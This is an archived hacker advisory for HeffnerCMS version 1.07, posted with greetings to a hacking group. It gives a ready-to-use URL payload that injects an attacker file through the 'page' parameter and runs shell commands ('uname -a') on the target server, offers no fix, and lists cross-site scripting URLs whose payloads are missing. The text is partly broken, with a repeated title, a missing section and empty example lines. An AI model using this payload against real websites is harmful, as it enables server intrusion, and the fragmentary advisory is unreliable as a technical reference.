TUCoPS :: Web :: CMS / Portals

TUCoPS :: Web :: CMS / Portals :: b06-1205.htm
HeffnerCMS Remote Command Exucetion And Cross Scripting Attack

HeffnerCMS Remote Command Exucetion And Cross Scripting Attack HeffnerCMS Remote Command Exucetion And Cross Scripting Attack


Website : http://www.christian-heffner.de 

Version : 1.07

I.

http://www.site.com/index.php?page=evilcode.txt?&cmd=uname -a 

III. Cross Scripting Attack

http://www.site.com/index.php?page= 

http://www.site.com/index.php?page= 

Etc..

IV. Solution 

No

Greetz ; B3g0k,Azad,Nistiman,Hawar,Seyh and other our friends.. 

irc.gigachat.net #kurdhack

www.PatrioticHackers